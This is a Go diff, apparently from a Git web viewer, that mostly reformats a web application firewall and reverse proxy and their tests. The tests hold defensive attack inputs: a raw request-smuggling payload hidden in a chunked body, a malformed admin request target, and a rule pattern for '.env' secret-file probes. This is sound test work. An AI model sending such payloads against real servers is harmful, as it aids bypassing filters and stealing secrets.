@@ -1297,18 +1223,11 @@ func (f *bansFile) toUTC() {
func (f *clientsFile) toUTC() { func (f *clientsFile) toUTC() {
for i := range f.Clients { for i := range f.Clients {
client := &f.Clients[i] client := &f.Clients[i]
convertToUTC( convertToUTC(&client.Minute.Start, &client.Hour.Start, &client.Day.Start,
&client.Minute.Start, &client.MinuteBytes.Start, &client.HourBytes.Start,
&client.Hour.Start, &client.DayBytes.Start, &client.MinuteRefusals.Start,
&client.Day.Start, &client.History.FirstSeen, &client.History.LastSeen,
&client.MinuteBytes.Start, &client.History.LookedUp)
&client.HourBytes.Start,
&client.DayBytes.Start,
&client.MinuteRefusals.Start,
&client.History.FirstSeen,
&client.History.LastSeen,
&client.History.LookedUp,
)
} }
} }
@@ -1501,8 +1420,7 @@ func write(dir, name string, data []byte) error {
// syncDirectory syncs dir to the disk, so that a rename in it lasts. // syncDirectory syncs dir to the disk, so that a rename in it lasts.
func syncDirectory(dir string) error { func syncDirectory(dir string) error {
//nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself directory, err := os.Open(dir) //nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself
directory, err := os.Open(dir)
if err != nil { if err != nil {
return err return err
} }
@@ -1513,11 +1431,7 @@ func syncDirectory(dir string) error {
// writeSynced writes data to the file at path, and syncs it to the disk. // writeSynced writes data to the file at path, and syncs it to the disk.
func writeSynced(path string, data []byte) error { func writeSynced(path string, data []byte) error {
//nolint:gosec // a file's temporary file, in SWW_STATE_DIR or SWW_CACHE_DIR //nolint:gosec // a file's temporary file, in SWW_STATE_DIR or SWW_CACHE_DIR
file, err := os.OpenFile( file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, fileMode)
path,
os.O_WRONLY|os.O_CREATE|os.O_TRUNC,
fileMode,
)
if err != nil { if err != nil {
return err return err
} }
File diff suppressed because it is too large. Load diff
+5 -21
View File
@@ -31,9 +31,7 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
// args are the arguments after `healthcheck`; it takes none, and given // args are the arguments after `healthcheck`; it takes none, and given
// one it names it on stderr and returns 1 without checking anything. // one it names it on stderr and returns 1 without checking anything.
func HealthCheck( func HealthCheck(
ctx context.Context, ctx context.Context, args []string, lookupEnv func(string) (string, bool),
args []string,
lookupEnv func(string) (string, bool),
stderr io.Writer, stderr io.Writer,
) int { ) int {
if len(args) > 0 { if len(args) > 0 {
@@ -87,9 +85,7 @@ func checkWAF(
func checkRProxyAndApp( func checkRProxyAndApp(
ctx context.Context, lookupEnv func(string) (string, bool), ctx context.Context, lookupEnv func(string) (string, bool),
) error { ) error {
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL( listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(lookupEnv)
lookupEnv,
)
if err != nil { if err != nil {
return fmt.Errorf("invalid setting: %w", err) return fmt.Errorf("invalid setting: %w", err)
} }
@@ -99,11 +95,7 @@ func checkRProxyAndApp(
return fmt.Errorf("ask rproxy: %w", err) return fmt.Errorf("ask rproxy: %w", err)
} }
conn, err := (&net.Dialer{}).DialContext( conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL))
ctx,
"tcp",
appAddress(upstreamURL),
)
if err != nil { if err != nil {
return fmt.Errorf("connect to the app: %w", err) return fmt.Errorf("connect to the app: %w", err)
} }
@@ -117,17 +109,9 @@ func checkRProxyAndApp(
// listenAddr, which the settings have checked has one. // listenAddr, which the settings have checked has one.
func askHealthEndpoint(ctx context.Context, listenAddr string) error { func askHealthEndpoint(ctx context.Context, listenAddr string) error {
_, port, _ := net.SplitHostPort(listenAddr) _, port, _ := net.SplitHostPort(listenAddr)
health := "http://" + net.JoinHostPort( health := "http://" + net.JoinHostPort("127.0.0.1", port) + waf.HealthPath
"127.0.0.1",
port,
) + waf.HealthPath
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody)
ctx,
http.MethodGet,
health,
http.NoBody,
)
if err != nil { if err != nil {
return fmt.Errorf("make the request: %w", err) return fmt.Errorf("make the request: %w", err)
} }
+9 -31
View File
@@ -94,10 +94,7 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL) site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL)
_, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://")) _, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://"))
settings := func(more ...string) map[string]string { settings := func(more ...string) map[string]string {
env := map[string]string{ env := map[string]string{rproxyListenAddr: ":" + port, rproxyUpstreamURL: app.URL}
rproxyListenAddr: ":" + port,
rproxyUpstreamURL: app.URL,
}
for i := 0; i < len(more); i += 2 { for i := 0; i < len(more); i += 2 {
env[more[i]] = more[i+1] env[more[i]] = more[i+1]
} }
@@ -110,12 +107,8 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "") wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "")
// SWW_COMMAND cannot be given as a file. // SWW_COMMAND cannot be given as a file.
wantHealthCheck( wantHealthCheck(t, settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
t, 0, "")
settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
0,
"",
)
// Another setting does not fail it, even an invalid one, and neither does // Another setting does not fail it, even an invalid one, and neither does
// SWRP_WAF_BACKEND being unset. // SWRP_WAF_BACKEND being unset.
@@ -128,12 +121,7 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
// Listening on port 0 takes any free port, so nothing listens on port 0 // Listening on port 0 takes any free port, so nothing listens on port 0
// itself. // itself.
wantHealthCheck( wantHealthCheck(t, settings(rproxyListenAddr, ":0"), 1, "unhealthy: ask rproxy: ")
t,
settings(rproxyListenAddr, ":0"),
1,
"unhealthy: ask rproxy: ",
)
wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1, wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ") "unhealthy: invalid setting: SWRP_LISTEN_ADDR: ")
@@ -173,26 +161,16 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
// wantHealthCheck runs the health check with the settings in env, and // wantHealthCheck runs the health check with the settings in env, and
// checks its exit status and the start of what it writes to stderr, // checks its exit status and the start of what it writes to stderr,
// which is nothing when message is empty. // which is nothing when message is empty.
func wantHealthCheck( func wantHealthCheck(t *testing.T, env map[string]string, status int, message string) {
t *testing.T,
env map[string]string,
status int,
message string,
) {
t.Helper() t.Helper()
var stderr bytes.Buffer var stderr bytes.Buffer
got := sww.HealthCheck( got := sww.HealthCheck(t.Context(), nil, func(name string) (string, bool) {
t.Context(), value, ok := env[name]
nil,
func(name string) (string, bool) {
value, ok := env[name]
return value, ok return value, ok
}, }, &stderr)
&stderr,
)
wrote := stderr.String() wrote := stderr.String()
if got != status || !strings.HasPrefix(wrote, message) || if got != status || !strings.HasPrefix(wrote, message) ||
+2 -10
View File
@@ -21,11 +21,7 @@ import (
// more severe: rproxy has no setting for either. // more severe: rproxy has no setting for either.
func RunRProxy(ctx context.Context, params Params) int { func RunRProxy(ctx context.Context, params Params) int {
hostname, _ := os.Hostname() // "" when the host has no name to give hostname, _ := os.Hostname() // "" when the host has no name to give
processLog := requestlog.NewProcessLogger( processLog := requestlog.NewProcessLogger(params.Stdout, hostname, slog.LevelInfo)
params.Stdout,
hostname,
slog.LevelInfo,
)
cfg, err := config.RProxyFromEnvironment(params.LookupEnv) cfg, err := config.RProxyFromEnvironment(params.LookupEnv)
if err != nil { if err != nil {
@@ -42,11 +38,7 @@ func RunRProxy(ctx context.Context, params Params) int {
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr) listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
if err != nil { if err != nil {
processLog.Error( processLog.Error("cannot listen on SWRP_LISTEN_ADDR", "error", err.Error())
"cannot listen on SWRP_LISTEN_ADDR",
"error",
err.Error(),
)
return 1 return 1
} }
+22 -91
View File
@@ -79,11 +79,7 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Errorf( t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
"rproxy's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Error("rproxy still running after being told to stop") t.Error("rproxy still running after being told to stop")
@@ -98,10 +94,7 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
// startWAF runs waf with the settings in env, and returns // startWAF runs waf with the settings in env, and returns
// its address and URL, what it writes, and what stops it, which checks that it // its address and URL, what it writes, and what stops it, which checks that it
// stopped in order. // stopped in order.
func startWAF( func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
t *testing.T,
env map[string]string,
) (string, *output, func()) {
t.Helper() t.Helper()
ctx, stop := context.WithCancel(t.Context()) ctx, stop := context.WithCancel(t.Context())
@@ -120,11 +113,7 @@ func startWAF(
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Fatalf( t.Fatalf("waf's exit status %d, want 0; output:\n%s", status, out.text())
"waf's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Fatal("waf still running after being told to stop") t.Fatal("waf still running after being told to stop")
@@ -352,12 +341,7 @@ func pipe(dst, src net.Conn) {
// answersNormally reports whether a request to url from the client at from, as // answersNormally reports whether a request to url from the client at from, as
// X-Forwarded-For names it, gets the app's answer. // X-Forwarded-For names it, gets the app's answer.
func answersNormally(ctx context.Context, url, from string) bool { func answersNormally(ctx context.Context, url, from string) bool {
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, http.NoBody)
ctx,
http.MethodGet,
url,
http.NoBody,
)
if err != nil { if err != nil {
return false return false
} }
@@ -375,8 +359,7 @@ func answersNormally(ctx context.Context, url, from string) bool {
body, err := io.ReadAll(res.Body) body, err := io.ReadAll(res.Body)
_ = res.Body.Close() _ = res.Body.Close()
return err == nil && res.StatusCode == http.StatusOK && return err == nil && res.StatusCode == http.StatusOK && string(body) == greeting
string(body) == greeting
} }
// sendRaw sends request, as it is, to rproxy at site, and returns the status of // sendRaw sends request, as it is, to rproxy at site, and returns the status of
@@ -429,16 +412,9 @@ func TestAChunkedBodyStaysABodyAtWAF(t *testing.T) {
waf.ClientHeader + ": " + otherClient + "\r\n" + waf.ClientHeader + ": " + otherClient + "\r\n" +
"X-Request-ID: " + smuggledID + "\r\n\r\n" "X-Request-ID: " + smuggledID + "\r\n\r\n"
status := sendRaw( status := sendRaw(t, site, "POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
t, "X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
site, strconv.FormatInt(int64(len(smuggled)), 16)+"\r\n"+smuggled+"\r\n0\r\n\r\n")
"POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
strconv.FormatInt(
int64(len(smuggled)),
16,
)+"\r\n"+smuggled+"\r\n0\r\n\r\n",
)
if status != http.StatusOK { if status != http.StatusOK {
t.Errorf("status %d, want the app's 200", status) t.Errorf("status %d, want the app's 200", status)
} }
@@ -467,12 +443,8 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden) wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
status := sendRaw( status := sendRaw(t, site, "GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
t, "X-Forwarded-For: "+placed+"\r\n\r\n")
site,
"GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
"X-Forwarded-For: "+placed+"\r\n\r\n",
)
if status != http.StatusBadRequest { if status != http.StatusBadRequest {
t.Errorf("status %d, want 400", status) t.Errorf("status %d, want 400", status)
} }
@@ -498,8 +470,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden) wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden)
line := out.line(t, "path", bannedProbe) line := out.line(t, "path", bannedProbe)
if line["client_ip"] != "2001:db8::1" || if line["client_ip"] != "2001:db8::1" || line["default_disposition"] != nil {
line["default_disposition"] != nil {
t.Errorf("rproxy's line is %v", line) t.Errorf("rproxy's line is %v", line)
} }
} }
@@ -524,10 +495,7 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
line := out.line(t, "path", "/") line := out.line(t, "path", "/")
if line["status"] != float64(status) { if line["status"] != float64(status) {
t.Errorf( t.Errorf("rproxy's line is %v, want the status the visitor got", line)
"rproxy's line is %v, want the status the visitor got",
line,
)
} }
id, _ := line["request_id"].(string) id, _ := line["request_id"].(string)
@@ -551,8 +519,7 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
} }
out := &output{} out := &output{}
//nolint:gosec // this test binary cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
cmd := exec.CommandContext(t.Context(), binary)
cmd.Stdout = out cmd.Stdout = out
cmd.Env = append(os.Environ(), cmd.Env = append(os.Environ(),
@@ -573,11 +540,7 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Errorf( t.Errorf("exit status %d, want 0; output:\n%s", status, out.text())
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Error("still running after being told to stop") t.Error("still running after being told to stop")
@@ -624,11 +587,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
"Connection": "Connection: anything\r\n", "Connection": "Connection: anything\r\n",
"a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n", "a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n",
} { } {
status := sendRaw( status := sendRaw(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n")
t,
addr,
"GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n",
)
if status != http.StatusForbidden { if status != http.StatusForbidden {
t.Errorf("with %s: status %d, want waf's 403", name, status) t.Errorf("with %s: status %d, want waf's 403", name, status)
} }
@@ -636,11 +595,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
select { select {
case protocol := <-protocols: case protocol := <-protocols:
if protocol != "HTTP/1.1" { if protocol != "HTTP/1.1" {
t.Errorf( t.Errorf("with %s: asked over %s, want HTTP/1.1", name, protocol)
"with %s: asked over %s, want HTTP/1.1",
name,
protocol,
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Errorf("with %s: waf was not asked", name) t.Errorf("with %s: waf was not asked", name)
@@ -661,11 +616,7 @@ func TestRProxyProcessLinesNameTheHostAndComeAtInfo(t *testing.T) {
line := out.line(t, "msg", "starting") line := out.line(t, "msg", "starting")
if line["instance"] != hostname || line["level"] != "INFO" { if line["instance"] != hostname || line["level"] != "INFO" {
t.Errorf( t.Errorf("rproxy's line is %v, want instance %s at INFO", line, hostname)
"rproxy's line is %v, want instance %s at INFO",
line,
hostname,
)
} }
} }
@@ -730,11 +681,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Errorf( t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
"rproxy's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Error("rproxy still running, the report having been answered") t.Error("rproxy still running, the report having been answered")
@@ -808,11 +755,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
}() }()
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string) addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
conn := sendAndKeepOpen( conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
t,
addr,
"GET / HTTP/1.1\r\nHost: site.example\r\n\r\n",
)
select { select {
case <-asked: case <-asked:
@@ -836,11 +779,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Errorf( t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
"rproxy's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Error("rproxy still running after the cut-off") t.Error("rproxy still running after the cut-off")
@@ -875,11 +814,7 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
message, _ := line["error"].(string) message, _ := line["error"].(string)
if !strings.HasPrefix(message, tc.setting+": ") { if !strings.HasPrefix(message, tc.setting+": ") {
t.Errorf( t.Errorf("start refused with %v, want it to name %s", line, tc.setting)
"start refused with %v, want it to name %s",
line,
tc.setting,
)
} }
}) })
} }
@@ -888,11 +823,7 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
func TestRProxyAddressInUseStopsTheStart(t *testing.T) { func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
t.Parallel() t.Parallel()
taken, err := (&net.ListenConfig{}).Listen( taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
+25 -80
View File
@@ -79,11 +79,7 @@ func Main(version string) int {
syscall.SIGTERM, os.Interrupt) syscall.SIGTERM, os.Interrupt)
defer stop() defer stop()
params := Params{ params := Params{Version: version, LookupEnv: os.LookupEnv, Stdout: os.Stdout}
Version: version,
LookupEnv: os.LookupEnv,
Stdout: os.Stdout,
}
switch args[0] { switch args[0] {
case "rproxy": case "rproxy":
@@ -115,7 +111,9 @@ func RunWAF(ctx context.Context, params Params) int {
cfg, err := config.FromEnvironment(params.LookupEnv) cfg, err := config.FromEnvironment(params.LookupEnv)
if err != nil { if err != nil {
return cannotStart(processLog, "invalid setting", err) processLog.Error("invalid setting", "error", err.Error())
return 1
} }
// While SWW_LOG_REMOTE_URL is set, every line on stdout from here on // While SWW_LOG_REMOTE_URL is set, every line on stdout from here on
@@ -129,38 +127,13 @@ func RunWAF(ctx context.Context, params Params) int {
stdout = io.MultiWriter(params.Stdout, remote) stdout = io.MultiWriter(params.Stdout, remote)
} }
processLog = requestlog.NewProcessLogger( processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel)
stdout,
cfg.InstanceName,
cfg.LogLevel,
)
if remote != nil { if remote != nil {
stopSending := startSending(ctx, remote, processLog) stopSending := startSending(ctx, remote, processLog)
defer stopSending() defer stopSending()
} }
return runWAFWithSettings(
ctx,
params.Version,
cfg,
stdout,
remote,
processLog,
)
}
// runWAFWithSettings is the rest of RunWAF once the settings are read and
// the process log goes where they say. remote is nil unless
// SWW_LOG_REMOTE_URL is set.
func runWAFWithSettings(
ctx context.Context,
version string,
cfg *config.Config,
stdout io.Writer,
remote *remotelog.Sender,
processLog *slog.Logger,
) int {
// The state files and the alerts give times in UTC. // The state files and the alerts give times in UTC.
now := func() time.Time { return time.Now().UTC() } now := func() time.Time { return time.Now().UTC() }
@@ -173,25 +146,23 @@ func runWAFWithSettings(
Alerts: alertQueue, Alerts: alertQueue,
}) })
if err != nil { if err != nil {
return cannotStart(processLog, "cannot use the rule files", err) processLog.Error("cannot use the rule files", "error", err.Error())
return 1
} }
crs, err := waf.NewCoreRuleSet(cfg) crs, err := waf.NewCoreRuleSet(cfg)
if err != nil { if err != nil {
return cannotStart(processLog, "cannot use the Core Rule Set", err) processLog.Error("cannot use the Core Rule Set", "error", err.Error())
return 1
} }
server, err := newServer( server, err := newServer(cfg, stdout, processLog, now, ruleFiles, alertQueue, crs)
cfg,
stdout,
processLog,
now,
ruleFiles,
alertQueue,
crs,
)
if err != nil { if err != nil {
return cannotStart(processLog, "cannot use the lookup database", err) processLog.Error("cannot use the lookup database", "error", err.Error())
return 1
} }
if remote != nil { if remote != nil {
@@ -200,43 +171,24 @@ func runWAFWithSettings(
files, err := loadStateFiles(cfg, server, alertQueue, now, processLog) files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
if err != nil { if err != nil {
return cannotStart( processLog.Error("cannot use the state and cache files", "error", err.Error())
processLog,
"cannot use the state and cache files", return 1
err,
)
} }
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr) listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
if err != nil { if err != nil {
return cannotStart( processLog.Error("cannot listen on SWW_LISTEN_ADDR", "error", err.Error())
processLog,
"cannot listen on SWW_LISTEN_ADDR", return 1
err,
)
} }
processLog.Info("starting", processLog.Info("starting",
"version", version, "version", params.Version,
"address", listener.Addr().String(), "address", listener.Addr().String(),
"settings", cfg) "settings", cfg)
return serve( return serve(ctx, server, listener, files, ruleFiles, alertQueue, processLog)
ctx,
server,
listener,
files,
ruleFiles,
alertQueue,
processLog,
)
}
// cannotStart logs why waf cannot start, and returns its exit status.
func cannotStart(processLog *slog.Logger, message string, err error) int {
processLog.Error(message, "error", err.Error())
return 1
} }
// newServer returns the server waf runs, with the metrics of the alerts, // newServer returns the server waf runs, with the metrics of the alerts,
@@ -278,10 +230,7 @@ func newServer(
server.Metrics.AddAlerts(alertQueue) server.Metrics.AddAlerts(alertQueue)
if lookupFile != nil { if lookupFile != nil {
server.Metrics.AddLookupFile( server.Metrics.AddLookupFile(lookupFile.LastRead, lookupFile.ReadFailures)
lookupFile.LastRead,
lookupFile.ReadFailures,
)
} }
return server, nil return server, nil
@@ -446,11 +395,7 @@ func serve(
err = files.WriteAll() err = files.WriteAll()
if err != nil { if err != nil {
processLog.Error( processLog.Error("writing the state and cache files failed", "error", err.Error())
"writing the state and cache files failed",
"error",
err.Error(),
)
return 1 return 1
} }
+2 -8
View File
@@ -22,10 +22,7 @@ func TestStopWaitsForTheSenderToFinish(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
took := stopHeldSender(t, time.Second) took := stopHeldSender(t, time.Second)
if took != time.Second { if took != time.Second {
t.Errorf( t.Errorf("the stop took %s, want the second the sender took", took)
"the stop took %s, want the second the sender took",
took,
)
} }
}) })
} }
@@ -62,10 +59,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
sender := remotelog.New(remotelog.Params{ sender := remotelog.New(remotelog.Params{
// No port is 65536, so each attempt to connect fails at once, // No port is 65536, so each attempt to connect fails at once,
// before it reaches the network. // before it reaches the network.
URL: &url.URL{ URL: &url.URL{Scheme: remotelog.SchemeTCP, Host: "127.0.0.1:65536"},
Scheme: remotelog.SchemeTCP,
Host: "127.0.0.1:65536",
},
Buffer: 1, Buffer: 1,
}) })
+63 -194
View File
@@ -111,12 +111,8 @@ func (o *output) lineBeforeExit(
select { select {
case status := <-exited: case status := <-exited:
t.Fatalf( t.Fatalf("exit status %d while waiting for a line with msg %q; output:\n%s",
"exit status %d while waiting for a line with msg %q; output:\n%s", status, msg, o.text())
status,
msg,
o.text(),
)
case <-time.After(pollInterval): case <-time.After(pollInterval):
} }
} }
@@ -231,11 +227,7 @@ func TestShortTokenStopsTheStartUnshown(t *testing.T) {
func TestAddressInUseStopsTheStart(t *testing.T) { func TestAddressInUseStopsTheStart(t *testing.T) {
t.Parallel() t.Parallel()
taken, err := (&net.ListenConfig{}).Listen( taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -333,11 +325,7 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Fatalf( t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Fatal("still running after being told to stop") t.Fatal("still running after being told to stop")
@@ -491,14 +479,7 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
runUntilStopped(t, env, func(url string) { runUntilStopped(t, env, func(url string) {
path := filepath.Join(dir, "bans.json") path := filepath.Join(dir, "bans.json")
saveUntilAnswered( saveUntilAnswered(t, path, oneBan, url, "203.0.113.9", http.StatusForbidden)
t,
path,
oneBan,
url,
"203.0.113.9",
http.StatusForbidden,
)
wantStatus(t, url, "198.51.100.7", http.StatusOK) wantStatus(t, url, "198.51.100.7", http.StatusOK)
saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK) saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK)
}) })
@@ -587,20 +568,12 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
path := filepath.Join(dir, "00-default.rules") path := filepath.Join(dir, "00-default.rules")
err := os.WriteFile( err := os.WriteFile(path, []byte("# probes\nenv-file path bann ^/\\.env$\n"), 0o600)
path,
[]byte("# probes\nenv-file path bann ^/\\.env$\n"),
0o600,
)
if err != nil { if err != nil {
t.Fatalf("write the rule file: %v", err) t.Fatalf("write the rule file: %v", err)
} }
wantRulesRefused( wantRulesRefused(t, dir, path+`, line 2: the action "bann" is not log, block or ban`)
t,
dir,
path+`, line 2: the action "bann" is not log, block or ban`,
)
} }
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) { func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -612,9 +585,7 @@ func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
": no such file or directory") ": no such file or directory")
} }
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart( func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
path := filepath.Join(t.TempDir(), "crs-exclusions.conf") path := filepath.Join(t.TempDir(), "crs-exclusions.conf")
@@ -715,38 +686,23 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
} }
// One that cannot be read leaves the file read before in use. // One that cannot be read leaves the file read before in use.
err := os.WriteFile( err := os.WriteFile(replacement, []byte("not a lookup database\n"), 0o600)
replacement,
[]byte("not a lookup database\n"),
0o600,
)
if err != nil { if err != nil {
t.Fatalf("write %s: %v", replacement, err) t.Fatalf("write %s: %v", replacement, err)
} }
rename(t, replacement, path) rename(t, replacement, path)
metrics := metricsWith( metrics := metricsWith(t, url+"_sww/metrics", token,
t, `sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`)
url+"_sww/metrics", lastRead = seriesValue(t, metrics,
token, `sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`)
`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`,
)
lastRead = seriesValue(
t,
metrics,
`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`,
)
wantStatus(t, url, placed, http.StatusOK) wantStatus(t, url, placed, http.StatusOK)
}) })
if lastRead < float64(began.Unix()) || if lastRead < float64(began.Unix()) || lastRead > float64(time.Now().Unix()) {
lastRead > float64(time.Now().Unix()) { t.Errorf("the lookup database was last read at %v, want a time in the test", lastRead)
t.Errorf(
"the lookup database was last read at %v, want a time in the test",
lastRead,
)
} }
} }
@@ -820,8 +776,8 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
}) })
wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL) wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL)
if n := torFetches.Load(); n != 1 { if fetches := torFetches.Load(); fetches != 1 {
t.Errorf("tor.txt fetched %d times before the restart, want 1", n) t.Errorf("tor.txt fetched %d times, want once, before the restart", fetches)
} }
// After another restart, with the server failing, the copy of drop.txt // After another restart, with the server failing, the copy of drop.txt
@@ -836,10 +792,10 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
path := filepath.Join(cache, "lists.json") path := filepath.Join(cache, "lists.json")
//nolint:gosec // a file in the test's directory kept, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
kept, err := os.ReadFile(path)
if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) { if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) {
t.Errorf("lists.json holds\n%s\nwant %q (%v)", kept, copyright, err) t.Errorf("lists.json holds\n%s\nwant the copy with %q (%v)", kept, copyright,
err)
} }
} }
@@ -859,12 +815,9 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
case down.Load(): case down.Load():
w.WriteHeader(http.StatusServiceUnavailable) w.WriteHeader(http.StatusServiceUnavailable)
default: default:
_, _ = io.WriteString( _, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
w, `"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
`[{"duration": "4h0m0s", "origin": "crowdsec", `+ `"type": "ban", "value": "203.0.113.0/24"}]`)
